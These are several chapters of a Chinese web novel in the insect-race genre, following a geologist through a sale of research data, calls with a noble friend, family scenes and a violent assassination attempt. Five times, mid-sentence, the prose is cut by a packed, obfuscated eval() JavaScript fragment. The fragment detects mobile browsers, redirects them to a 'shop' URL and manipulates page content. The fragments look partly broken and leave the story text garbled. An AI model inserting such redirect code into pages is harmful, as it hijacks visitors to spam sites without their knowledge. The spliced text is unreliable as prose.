就如同捏一个泥人,联邦需要这个行星全年下雨、下雪,那就绝对不会下冰雹,只要付出足够的物力,可以让沙漠变成海洋,也可以改变气候、改变引力,让天地倒转。
联邦的首都布列卡星就是其中最鲜明的例子,这个行星在百年来不断被扩大、巩固,最终变成了一座巨大的,无法攻破的堡垒。
但在荒星,自然地质环境却是并没有被破坏完的,不少保留了相对原始的状态,传统地质学的作用几乎能够百分百地显现出来。
——而这才是魏邈的主修课。
在虫族七年,如今再看到这样小清新的地貌,像是多年整容之后,终于能够短暂地取出脸上的所有假体一样,魏邈竟然有些怀念。
皮都展开了。
李易低下头,点开那篇论文,便沉默了一下。
……他发现他好像看不懂。
大地构造位置图、地质矿产图、矿段联合剖面图、磁异常等值线图等等,看得他云山雾绕。
魏邈终于露出一个浅淡的笑意:“李易先生,您觉得这篇论文是否能够为接下来的行动提供有效支承?”
“……”李易沉默了一下。
魏邈略显愉悦地眯了眯眼睛,他的手轻轻向下虚握了一下,笑容带着蛊惑的意味:“我能够理解您的犹豫,一名研究员的建议独木难支,并不能够说服您的麾下,但多名研究员的意见就足够取信了,是不是?”
少将在旁边不由得点了点头。
艾奇在旁边一直看着,却不由得打了个寒颤。
师兄真正开心起来的时候,就是这个表情。
他甚至不自觉地用上了敬称。
李易仔细思考了一会儿,也随之点头,徐徐露出一个微笑,同时道:“并没有,魏邈阁下的意见我们会充分考量,是完全相信的。”
“感谢军团长先生的信任。”魏邈颔首,道,“另外,先生,您是否已经把这篇论文发送给第一军团的军部研究所了?”
视频中,李易停下了发送键,回头不明所以地看向魏邈。
“这篇论文一式两份,我只发送给了军团长先生和少将先生。”魏邈后背靠在椅子上,笑容的弧度却扩大了几分,原本稍显冰冷漠然的眼睛都弯了起来,“用的是我自己的内部权限,但实际上,这篇论文被
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13606722|143385||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
收录在联邦地质勘察研究所的内部文库中,不对外共享,只能够通过购买或按月订阅我们的数据库的方式来进行阅读,您想要私自发送给其他虫,会被系统提示侵权。”
图穷匕见。
魏邈语气和缓,轻轻敲击了下椅子,露出一个不得已的表情,道:“所以,得收费。”
·
成功帮研究所赚了一笔巨额经费之后,魏邈心情很好。
艾奇还有些回不过神来,道:“……只是需要一篇论文而已啊,他们竟然真买下整个数据库了。”
“军部是这样的。”魏邈随手捉住一片被风吹起来的雪花,笑着道,“财大气粗,这些钱对一个军团来说,或许只是一次普通任务出差的油费。”
毕竟这一趟来托尔星,李易将厨师都调过来了,来回的折返费用、食材的保鲜和运输费用都是不可想象的天价。
军部的富裕可见一斑。
都这么浪费了,也一定不介意一些边边角角的花销。
艾奇说:“……但研究所一年之内都不愁课题经费了。”
“他们并不吃亏。”魏邈侧过脸,看了艾奇一眼,觉得这位师弟还需要再锻炼锻炼,“我们的建议,已经为他们省下了超过购买数据库十倍的经费,且还有剩余。”
当乙方当久了,提供的情绪服务、建议和解决方案,都是要折算成本的,都免费的话,那就没有人做乙方了。
这就像出去卖,不可能不收钱的。
另一位同事表情也同样振奋,他已经开始幻想起接下来所里资金充裕,可以申请下来的出差经费了,不由得感慨道:“成年虫族的世界,就是如此的尔虞我诈啊。”
魏邈和他一齐笑了起来。
艾奇:“……”
他忍不住被魏邈吸引了视线,师兄笑起来的时候,真的很好看。
他百忙之中胡乱地想——
最开始来托尔星出差的时候,为了救两名失踪的同事,他们不应该有求于第一军团吗?可为什么事情发展到现在,倒像是第一军团的军团长有求于研究所。
16. 占有欲
在第一军团的援军在此安营扎寨,宣布控制了局势之后,这座星球就不再成为未知的禁地。
魏邈没忘最初的任务,下午的时候,他把这座星球从里到外地筛了一遍,重新完成了爆炸波及范围之外的勘察,等到晚间,突然接到了一个语音通话。
——温弥·科维奇。
“魏邈。”光脑那边,那道好听的声音笑着道,“你什么时候转行做销售了?我们研究院的经济危机已经严重成这样了吗。”
魏邈语气轻松:“军部想要购买我们的数据库,我总不能阻止吧?”
“无论如何,辛苦你了。”温弥道,“下面的研究员们都乐疯了,等着发奖金呢……你在荒星还好吧?”
“不太好。”
温弥振奋地说:“我就知道你这么厉害,一定能应付……哎,哪里不好?”
转折得太生硬,魏邈没忍住笑了一声:“放心,不好的都应付过去了。”
和这个世界的贵族雄子们聊天,让他总有一种上辈子哄女朋友的感觉。
柔软的、单纯的,让人理所应当的、不自觉地纵着一点儿,捧着一点儿。
如果说柏布斯家族的荣耀能够追溯到百年前的帝国战场,保守、低调、冷峻,是联邦最高的山峰、最长的河流,其存在本身甚至长过联邦诞生的历史,那么科维奇这个姓氏同样也是金字塔尖的存在,是新兴贵族的翘楚。
温弥是科维奇家族嫡脉唯一的雄虫,身份相当高贵,精神力等级在A级的水准。
同时也是地勘院的大金主。
联邦的研究所大多需要自负盈亏,魏邈的工资和奖金有不少都来源于对方的资助。
温弥语气变小,轻轻抱怨道:“你昨天塞给我带的那个亚雌,是从哪里找来的,怎么能笨成这样?”
“尤文吗?”魏邈思考了一瞬,才反应过来,“他怎么了?”
“……你是大街上乱找的一个新人吧。”温弥有些无语,“他连经纬线都不太懂啊,我还专门去问了下他的履历,一个餐厅的服务员……我真是无言了,你找那个亚雌来干什么,取代我们兢兢业业的扫地机器人,给研究所擦桌子用吗?”
魏邈从一堆话里精确地抓住了关键词:“你还专门教了经纬线。”
温弥道:“教了,学得还挺快的。”
魏邈笑着撑起下巴:“温弥老师下一步打算教什么?”
“……你管我教什么。”温弥脸色青一阵白一阵,他有一种被魏邈无声地骂了一遍的感觉——毕竟他的地理知识也只局限在经纬线上了。
他愤怒地从舒适的沙发上蹦了起来,指指点点:“重点是这个吗?你是不是喜欢那个亚雌啊,你要是喜欢去给你的雌君说,把他放到你家里去。”
托尔星的日落是发白的。
没有宏大的日落,没有湛蓝的天空,只有无穷无垠的灰色,从平原上降落,那种灰白逐渐过渡到黑曜石般的虚空中,远处的星子宛若浮起的雾,飘在外面,像是一个个光点被镶嵌在一块生产于十八世纪末的土布上。
一种黯淡的、没有生命力的美。
魏邈一个人在等待着日光完全地落下去。
他垂下眼,道:“我不喜欢尤文。”
温弥也不相信魏邈能看得上尤文,他只是私心想恶心一下魏邈,闻言,歪了歪嘴巴,说:“研究所也不是你收留流浪犬的地方。”
“我马上快出差回去了。”魏邈揉了揉太阳穴,“他的情况有些复杂,至少这两天你得把他放在你眼皮子底下……你让他自学吧,别教了,回来之后我自己带他。”
温弥勉为其难地点了头,很快被转移了视线,转而期待地问:“好吧,你什么时候回来啊?魏邈,我想要你给我拍照,就是最近新开的那家美术馆,空间很大,据说有不少老古董展出,我们可以去喝一杯下午茶……对了,你看到我昨天拍的视频了吗?”
魏邈面不改色地道:“看到了,很漂亮。”
温弥忍不住笑出了声,旋即昂起下巴,不太确定地问:“真的假的?
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13606723|143385||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我昨天没有出镜。”
魏邈道:“……我真看了。”
他点开光脑,顺手划到对方的视频下,便看见金发的温弥拿着一个慕斯蛋糕,撑着下巴看向镜头的自拍照,对方柔软的金发如同上好的丝绸,笑起来有一对小小的酒窝。
权限仅好友可见。
雄虫的骄傲让他们拍完照片,也不会在社交媒体上对外公开,大多都是内部看一看,互相评价一番。
魏邈点了个赞,顺便在下面留评:很好吃的样子,蹲一个店家地址。
温弥秒回:不告诉你,哼哼。
魏邈:“……”
“所以你什么时候回来啊?”温弥一边回复,一边在电话里问,“我听说柏布斯上将也去荒星了?”
“嗯。”魏邈笑容微微敛起,“你的消息一如既往的灵通。”
他突然想起一件事儿。
五年前,科维奇家族尝试过想要和柏布斯家族联姻,递出去的筹码相当有诚意,他们献出来的是温弥。
想要真正进入到联邦权力的中心,血统是相当重要的条件,而当时柏布斯家族在经过迅速的、完全的权力洗牌之后,尚未坐稳家主之位的奥兰德却没有接下来这条橄榄枝。
他选择了一个名不见经传的、令所有虫大跌眼镜的雄主,当时的魏邈一无所有,兜里没几个钢镚,却偏偏凭借婚姻平步青云,一跃进入了贵族们的视线。
彼此共同生活的时间太久,魏邈甚至不需要揣测,就能知道枕边人的想法。
在婚姻这个完全未知的风险领域,奥兰德只容许绝对的安全,一个出身底层,靠坑蒙拐骗才能拿到联邦公民身份,被百分百掌控着的雄主,才是个好雄主。
温弥道:“我听我的雌父说的,他让我问问你说军部有什么新动向。”他满不在乎地道,“我都不知道他担心什么,柏布斯先生都亲临荒星了,能出什么事。”
魏邈难得仔细思考了两秒钟。
他不确定地说:“……应该没什么事儿吧。”
17. 挤挤更健康
最近表面上,都风平浪静。
温弥问:“你这会儿在干什么呢?……好安静。”
魏邈勾起唇角,说:“你要来看看另一座行星吗?”
他点开视频申请,温弥很快选择同意。
“你竟然也愿意开视频了……”他吐槽,“咦,这是什么?”
视频里,穿着睡衣的雄虫相当困倦,金毛都耷拉在脑袋上,眼睛却炯炯有神,透露出愉悦的神采,魏邈没有把镜头放在自己身上,而是对着托尔星的四面转了一圈。
四面都是雪地。
魏邈用捡起的一根冰枝,在雪地上拨拉了一下,他注视了眼温弥的脸庞,然后低下眼,定点、勾线,一气呵成。
没过两分钟,一个Q版气鼓鼓的温弥很快出现在雪地上。
“……你在干什么?魏邈。”温弥眨巴眨巴眼睛,疑惑地问,“好奇怪,地上的是我吗?”
虫族没有所谓的Q版画风。
这里的艺术是写实的巅峰,宏伟、高雅,取材单一,用来描摹战场的虫族英姿,少部分歌颂某一段光辉的历史。
“是你。”魏邈随口道,“小王子,来一起看个落日。”
温弥不悦地说:“我没有你画的这么圆。”
魏邈道:“你本来就这么圆。”
“不准把我的画放到这个劣等行星上。”
魏邈哑然失笑:“……一会儿就擦掉了。”
温弥这才点头,满意地勾起唇角:“哦,那还差不多。”
·
一直到夜幕降临,魏邈才关掉了视频通话,他踩着嘎吱作响的冰面,一路折返回营地。
差不多和温弥告完别了。
和奥兰德离婚之后,他不觉得自己会再进入到这群贵族雄虫们的社交圈里,温弥显然也不是一位和谁都能一起去喝下午茶的雄虫。
失去柏布斯家族成员的身份之后,有些东西也是一定会丢失的,比如新交的朋友、一些尊称、一些令行禁止的便利,魏邈当然希望可以留下,但留不留的下来,他其实都不算太过遗憾。
命有把握留下来就是件了不得的好事儿了。
魏邈用钥匙拧开门,室内一片温暖,暖洋洋的光芒和暖烘烘的温度让人眼前一亮。
——物理意义上的。
他脱下防护服,才看到奥兰德已经摆好了晚餐,和昨晚迥然不同,是各类西餐,魏邈只是尝了一口,便觉得油花融化在舌尖,香味入口即化:“……你做的吗?好香。”
这个水平,实在不像是军部的食堂能做出来的。
奥兰德未来如果不考虑做联邦的首脑,或许可以成为一名相当出色的厨师,开办新西方厨师培训学校,拯救布列卡星单调的菜色。
同样会受到热烈的欢迎。
“牛肋排。”奥兰德勾起唇角,用湿纸巾擦了擦魏邈脸上的汗珠,旋即稍微皱了下眉,“您下午去哪里了?”
“工作加班加点儿做完了。”魏邈笑了起来,做完决定之后,他整个人都轻松起来,“累够呛……一会儿得去洗个澡。”
这是两名研究员花了几天时间的工作量,压缩到了一下午,确实不轻松。
而干地质的,只要出一线,哪怕文明再进步,有些活总是免不了的。
需要人干的工作,要么是机器不够准确,要么是人工比较便宜。
魏邈饿,他挑了一个肉菜,先划拉了几口到嘴里,转过头看向奥兰德,很有同事爱的关怀道:“你不吃吗?”
雄主的手上似乎有些淤青。
奥兰德坐下来,攥住那只手揉了揉,指腹温热,用的力气相当小,却只听魏邈疼得“嘶”了一声:“好疼。”
奥兰德抬起眼,却对上魏邈含笑的眼睛。
魏邈的鼻梁高挺,单看眉眼,都像是精雕水磨过的,很容易给人富贵公子哥的感受,矜贵、柔和,浓墨重彩,仅一眼,便容易被吸引过去。
对方显然心情很好,奥兰德其实不知道对方为什么这么高兴,上半天班,就能开心成这样吗?
他过了一会儿,才说:“您还是要注意身体……我去找一下跌打药。”
魏邈却拉住了他的胳膊:“不用,先吃饭。”
奥兰德这才坐下。
魏邈用刀叉切好一截牛排,先
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13606724|143385||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
放到奥兰德的盘子里,盘算着一会儿要去哪里洗个澡……营地倒是有澡堂,但看样子,是没办法进去洗的。
那里都是军雌们的地盘。
等等……
“你用军部的灶台做的饭吗?”魏邈问。
他总觉得对方不是个会与民共乐的雌虫。
奥兰德的洁癖相当严重,无关的其他雌虫碰过的东西,他大概不会再触碰,更别说使用了。
奥兰德的笑容微微顿了顿:“……没有。”
魏邈露出疑惑的神色:“那是哪儿?”
他的雌君神色自若,若无其事地回复:“在星舰上。”
“……”魏邈顿了顿,才道,“你开星舰过来的啊?”
奥兰德垂下眼睛,停止进食,将刀叉重新放回原位,身体前倾,摆出一个认错的姿势,道:“抱歉,我以为已经告诉过您了。”
私人星舰相当昂贵,购买之后,后续的养护也是天价的费用。
但星舰内部同样具备有完全的设施和服务,除了驾驶室之外,卧室、厨房、洗漱间、公共的活动区域,一应俱全。
那几乎是一间小型的堡垒。
里面不止可以长期生活,外部坚实的防护层同样能够抵挡武器的侵袭。
魏邈总有一种微妙的,被奥兰德耍了的感受:“……你把星舰停在哪里了?”
他怎么忘了,获悉消息后这么快赶来托尔星,传送阵的速度是有些勉强的。
而如果他的雌君开星舰过来的话,无论是从舒适性和安全性两方考量,完全不需要和他一起挤单间。
还挤了一个晚上和一个白天。
妇炎洁,挤挤更健康吗?
他的雌君双手交握,语气颇为诚恳:“托尔星的大气层上空。”
对方随口点评了一句:“说起来,相当令我失望,如果不是我主动提醒,我们的守军或许到现在还发现不了我停放的星舰。”
魏邈揉了揉太阳穴,已经懒得再深思下去,颇为乐观地想:
这或许也是个好消息。
……他晚上或许可以借用奥兰德的星舰来洗澡了。
18. 甜蜜的育儿时间
不过既然有星舰,魏邈也没有委屈自己非要住单间的意思。
赘婿的职业素养:有饭不吃王八蛋,五年都过来了,也不差这一天时间。
星舰的面积,容纳两只虫绰绰有余。
魏邈洗完澡出来,便看见奥兰德坐在沙发上,维恩的全息投影投在灰色的墙面上,一大一小两只相似的蓝色眼睛同时转过来,只是表情不大一样,奥兰德怀着浅淡的笑意,看上去心情尚算愉快,而维恩气鼓鼓的。
“雄父。”维恩的脸颊鼓起来,他强调道,“你已经两天时间都没有联系维恩了哦,两天时间。”
魏邈穿着宽松的睡衣,头发还没干,用浴巾随意地擦拭了下头发,道:“嗯,是雄父的错。”
维恩转过身,故意不看镜头:“我讨厌你。”
“又讨厌我了?”魏邈低下头,从抽屉里拿出吹风机,他眯起眼,看了眼投影的背景,和奥兰德寂静的庄园不同,此时幼崽的身后简直如同一座古老的宫殿。
奢侈、华靡,鎏金的穹顶宛若浩渺的星空,在无数烛火的掩映下,每一颗宝石都相当晃眼,亮晶晶地随意堆砌在一起。
身后的几位亚雌侍者如同一座安静的壁灯,静静地守在维恩的身后,无论是挺直的脊背,亦或是仪态都美丽端正,面庞隐没在烛火的阴影之中,无声无息。
像是一种活的装饰品。
魏邈收回视线,问:“维恩回老宅了吗?”
他初见奥兰德的时候,就在柏布斯家族老宅一楼东侧的会客厅里,那时候这栋宏伟的建筑远没有此刻安静,他在这里受到过不少明晃晃的恶意。
不是对他的,只是因为他是奥兰德的附属品,所以自然而然地被波及。
结婚后,魏邈搬到了奥兰德的私人庄园里,寥寥几次回到老宅的经历,都是一样的流程。
——老宅的佣虫永远在更换被鲜血染红的饰品和地毯,穹顶上方映得一片灰茫茫的血色,骨翼被碾碎的粉末到处都是,像是铅笔灰一样,自然地被撒掉了。
这个地方总让魏邈想起威斯敏斯特大教堂,神圣、庄严、古老,同样也是一座巨大的墓园。
从那之后,魏邈再也没有遇到过婚前的那种情况。
作为柏布斯家族家主的幼崽,在家长不在的情况下,如果需要得到充分的庇护和照顾,送到已经被完全掌控的老宅确实是一个不错的手段。
“嗯。”维恩有些闷闷不乐地应了一声,“你和雌父都不在,也没有小伙伴陪我玩。”
“维恩。”奥兰德淡淡地警告了一句,收拢起唇角的笑意,“昨天的功课完成了吗?”
维恩恹恹地回答:“完成了。”
奥兰德道:“那就早点休息。”
他站起身,接过魏邈手中的吹风机,雄虫尚有些湿润的头发很柔软地落在他的手心里,从这个角度向下望去,能看见魏邈脖颈上的虫纹,奥兰德的眼睛暗了暗,却听见维恩说:“雄父还没给我讲睡前故事呢。”
魏邈笑了一下,道:“想听霸王龙的故事吗?”
“我都听过了。”维恩又高兴起来,说,“为什么霸王龙要叫霸王龙啊?他们才六米高,13米长。”
……这还不够大吗?
那可是重达12吨的怪物,脑袋的高度,几乎是一个loft公寓的阁楼这么高。
幼崽确实对大小没什么感受力,或许也有虫族本身的虫化状态也相对巨大的缘故。
魏邈失笑:“在最后的白垩纪里,霸王龙的体型相比于同类,已经相当有优势了,他真正的名称叫君王暴龙,一口下去,能把七个维恩含在嘴里。”
“我才不会被咬。”维恩小声嘟哝了一句,道,“雄父,这个世界上真的有恐龙吗?”
“没有。”魏邈随口道,“我编出来的。”
维恩眼睛亮晶晶的:“那变形金刚呢?”
“这个可以给你做一个。”魏邈思考了下自己的存款,觉得画个图纸找一家工厂生产,还是足够的,“……等维恩第一天上学,我们开着变形金刚去,好不好?”
“好耶。”
奥兰德蹙了蹙眉心。
开着变形金刚去学校?
他想象了一下,一辆汽车突然变成机器人的模样,然后一个蓝眼睛的幼崽兴高采烈地从明黄色的巨型机器人身上跳了下来,对着所有的老师和幼崽们宣布:“维恩来喽”。
单是想想都觉得有些难以接受。
……亚雌并不讲求活泼好动,娴静、温柔一些就很好,维恩的性格和行事作风如此激进,之后要怎么寻找雄主?
总不能拿亚雌当雌虫养。
他微微弯腰,低声在魏邈耳边,轻轻地说:“雄主,不行。”
温热的吐息覆盖在魏邈的耳畔,魏邈这才转过脸,奥兰德离得很近,能清晰地看见他纤细而根根分明的睫毛,像是鸦羽一般,垂落在浅色的瞳孔上。
魏邈抬起眼,应了一声
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13606725|143385||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,示意他坐下:“没事儿,不用吹了。”
维恩已经兴奋地从沙发上蹦起来,又在毛茸茸的地毯上打了个滚:“嘿嘿,维恩就要这样!”
奥兰德冷静地看着自己的幼崽。
——真蠢啊。
再这样讨巧卖乖下去,智商会变得更低吗?
魏邈也有些后悔,他扯了扯嘴角:“……”
最开始就不该提变形金刚的。
·
来到托尔星的第三天,天薄薄擦亮的时候,艾奇已经把行李都收拾好了。
“师兄,”艾奇迫不及待地道,“我们可以走了吧?”
他有些受不了那些军雌偶尔克制不住的,像是看唐僧肉一样看着魏邈的,探究和渴求的目光了。
在研究所,师兄当然也相当受欢迎,但大家都相对克制,远没有军雌这么明晃晃的。
“对。”魏邈看了眼光脑的时间,“顺利的话,一个小时之后我们返航。”
他不打算和奥兰德一起坐星舰回去。
对方返回军部,魏邈自己也需要去研究所汇报一下工作,顺便把一些在托尔星新采集到的数据归档处理。
这都是不紧急,但相当麻烦的活儿,如果过了有效期,数据的效力会减弱,所以需要抓紧时间。
星际间的传送阵相当于高铁,星舰相当于私人飞机,飞机当然更快一些,但高铁可以单位报销。
就在这个时候,“笃、笃”的敲门声响起,一名人高马大的军雌站在门口,对方只是瞟了魏邈一眼,就低下眼睛,道:“魏邈阁下,少将请您去指挥室一趟。”
魏邈微微有些诧异,礼貌地颔首,道:“好的。”
却见对方还站在门口。
“现在就要去吗?”魏邈眯起眼,望了眼对方胸前的编号,不露声色地印在脑海中,向后退了一步,“我和同事先吃个早饭。”
晨光熹微,那名全副武装的军雌突然抬起手,下一秒,魏邈已经动作迅疾地关上了房门,只听见“咚”得一声巨响,房间的门被什么武器给折弯了,连带着整个房间簌簌作响。
——这是艾奇的房间。
魏邈想起卡洛,第一晚来到驻扎在此处的军团时,大部分军雌给他的感觉就是如此,危险、冷漠,如同托尔星地下僵硬的冰河。
他用力握住门把,抽了抽嘴角,总觉得自己有点儿倒霉,道:“艾奇,呼叫救援。”
这个房间支撑不了太久。
19. 扑棱蛾子
“碰、碰——”声音不断逼近,魏邈只觉得有爆裂声在耳边炸开,震得鼓膜一阵震颤,营地到处都是军雌,按理说附近不应该这么安静。
艾奇没见过这种场面,点开光脑,连发了三条求救信号,正要朝魏邈的方向赶,下一秒,门已经被凿开,冰冷的气流乱窜进室内,乌黑的雨水攒涌而入,魏邈被巨大的推力碰倒,滚落在地上,他艰难地站起身,一只手环抱住艾奇的腰,另一只手攀住桌子,手一抻,硬生生凭借臂力和爆发力,在地上后划了三米。
门轰一声倾倒在艾奇刚刚站着的位置,发出刺耳的巨大声响。
一切发生在电光火石之间。
魏邈咳嗽了一声,正对上那双腾悬在空中的,巨大的骨翼。
——那是雌虫特有的东西。
他浑身都是泥水,原本蓬松、干净的头发在地上滚落了一圈之后,变得湿漉漉的,魏邈来不及考虑这些,只短促地问:“我得罪过你吗?”
军雌用冰冷的目光俯视着魏邈,细细地审视了一遍魏邈的脸,露出了一个诡异的、满足的笑容:“我会给你一个好下场的,联邦的美丽雄虫。”
有多久没有这两天的运动量了?
刨除掉昨天和卡洛发生了些肢体冲突之外,上一次打架斗殴,还是在贫民窟的时候。
魏邈的精神力等级是A级。
这在雄虫堆里,已经是个绝对优越的等级,能够达到的寥寥无几,但对比起体格健硕的雌虫来说,或许还不够打一个回合的。
——尤其是,他面对的是一名已经狂化的、伸出骨翼的高阶雌虫。
在第一军团的势力范围想要刺杀一只雄虫,无异于飞蛾扑火,袭击者必须抱有短时间内一击必杀的,赴死的决心。
艾奇双手紧握成拳,骤然向前冲去,拳头如同流星般,带着破空之声,直击军雌的面门,大喊:“师兄,快跑。”
军雌微微侧身,庞大的身躯如同不可动摇的山岳,向前走了一步,以毫厘之差,躲过这一击,骨翼翕动间,劲风扫过,拽住艾奇的肩膀,右拳砸向艾奇的肋下:“比雄虫还废物。”
艾奇却已经来不及躲了,只觉得肋下一阵剧痛,仆倒在地。
魏邈的太阳穴突突直跳,肾上腺素不断升高,他的手在桌子上摸索了片刻,只找到一只喝水的水杯。
——一分钟已经过去了。
水杯是玻璃的,他在桌角直接用手打碎了杯沿,握住了一块接近半张手大的碎片,下一秒,军雌已经放下艾奇,朝着他慢慢走过来。
魏邈抬起眼睛,问:“你是反叛军的麾下?”
用的是肯定的语气。
艾奇是B级的雌虫。
这样的实力,却扛不住对方一击,第一军团什么时候这么藏龙卧虎了?
军雌冷笑了声:“雄虫都是该死的。”
因为处在室内,骨翼没有办法完全地张开,对方有些厌烦地皱了一下眉,想要故技重施,摁住魏邈的肩膀,手在快要碰到魏邈的情况下,一柄短刀从下而上,“噗嗤”一声,从空隙里精准地避开骨骼,刺入军雌的手心。
——那是他常年备着的美术刀。
军雌目光一凝。
他以为这名雄虫会拿那片可笑的碎玻璃防身,没想到这是个幌子?
下一秒,劲风横扫而来,军雌用骨翼甩开魏邈的手,那些冰冷的、尖锐的骨节刺入肌肤,魏邈被剧痛席卷在地,有血腥味传来,分不清是自己的,亦或是别人的,只觉得浑身疼,至于哪里更疼,那就不清楚了。
人在被击中的情况,大脑首先是一片空白的状态。
拳击台上,之所以选手们的体能消耗巨大,就是因为要在小范围小跑移动、控距的前提下,还要保证大脑清晰、精确的输出,一旦被击中,会先眩晕几秒。
这几秒之内,完全凭借本能防御,只是经过训练的拳击手可以防御得更稳妥和牢固。
而这还是在体型、吨位、性别趋同的情况下。
魏邈不知道自己是怎么爬起来的,他只知道不能再被击中第二次,对方的骨翼再次甩过来,魏邈随手掷出一个椅子,“哐啷——”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13606726|143385||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一声,精准地砸向对方的翅膀。
“扑棱蛾子。”他勉强笑了一声。
高阶军雌的听力一向很好,听见了这句话,一步步走近,却发现魏邈已经没有在向外走,对方显然已经没有什么力气,鲜血和污水沁了一身,浑身都狼狈极了。
很少有雄虫会变成这样。
尤其是这位还是柏布斯家族家主的配偶,高高在上的贵族雄虫。
军雌欣赏了一会儿魏邈的惨状,他知道自己已经没有多少时间了,三分钟之后,足够整个军营被惊动。
“我送您去死吧。”他咧开嘴,精神力四溢开来,笑着道。
他的手提起,朝着魏邈抓去,魏邈一跃而起,伸出腿来抵挡,却被对方抓住,朝着身下摔去。
让对方摔死,已经是一名军雌最温柔的终结对手性命的方式了。
艾奇看得目眦欲裂,他想要接住魏邈,却见对方的胳膊似乎抓住了那名军雌的最外侧的尖锐骨翼,手借力而起,调转方向,以一种几乎无法理解的角度,爬到了军雌的背后。
——巴西柔术,裸绞。
魏邈的双腿抵在这名军雌的胸前,有力的小臂已经围住对方的咽喉,另一只手扣住自己的小臂,身体重心下沉,不断地向后用力。
再厉害的雌虫,他的咽喉也是温暖的。
雌虫的骨骼固然坚硬,但巴西柔术,就是对付坚硬关节的艺术。
“大哥,扑棱蛾子才该死吧。”他咽下去一口血,在对方耳边笑着道。
骨翼能够感受到主人濒临窒息的痛意,疯狂地向上拍去,魏邈的角度却偏偏让他们无法触碰到,军雌在窒息的时候,依然反应敏捷,整个人向后倒去。
死之前,想要拉着他当垫背的吗?
魏邈来不及更换姿势,紧接着,房间整个炸开,他被一个温暖的怀抱接住,那双熟悉的、湛蓝的瞳孔目光是从未见过的暴戾,奥兰德一个抬手,便像是提小鸡仔一样,单手拽过了军雌的领口。
那名高阶军雌狂暴的骨翼在顷刻间,化成了无数粉末。
20. 名单
剧痛不断袭来。
等放松下来的时候,魏邈才感到迟来的困倦和寒冷,有一分钟之内,血汩汩涌出,他说不出来一句话,只听见他的雌君急促的心跳,紧接着,雄虫微凉的指腹攀到他的脉搏处,探了探。
“抱歉,雄主。”奥兰德低低地说,“是我的失职。”
鲜血和污水溅到他的脸颊、手背以及西装的面料上,奥兰德抱紧了魏邈,眼底泛过一阵暗光,一种不受控的暴虐情绪从脑海中压抑而出,再晚一秒……
他不敢想象,雄主是如何在这名军雌手下周旋的三分钟,再晚一秒,会发生什么?
魏邈多少能感受到对方的心绪起伏,如果往常,他或许会流露出一些感动的神色,但此刻体力耗尽,已经有些懒得再敷衍下去了。
他露出一点本能的厌倦:“……放开,我没事。”
说实话,相当累。
肾上腺素退却之后,他的浑身肌肉都在疼,迫切需要自己找个地儿躺躺,缓一缓。
像是照顾雌君情绪、安抚同事此类不紧急的事情,都向后捎捎。
“雄主……”奥兰德微微怔然,手却听话地松开,雄虫此刻的表情有些出乎意料,没有怒意,也没有后怕,结婚五年以来,他几乎没有在这张脸上看到过这样陌生的、漠然的表情,目光扫到他时,像是对待街上的陌生虫类,没有给予一个多余的表情。
雄主生气了吗?
奥兰德不知道为什么,心里有一种隐约的恐惧几乎要破土而出,他拽住雄虫的胳膊,抿了下唇,一直到魏邈的眼睛略显疑惑地落在他身上时,才找到一点稳妥的安定感:“医生马上就来。”
魏邈忍住不适,好脾气地重复了一遍:“我休息一下。”
“……好。”
魏邈一直对自己的伤势有一个基本的认知。
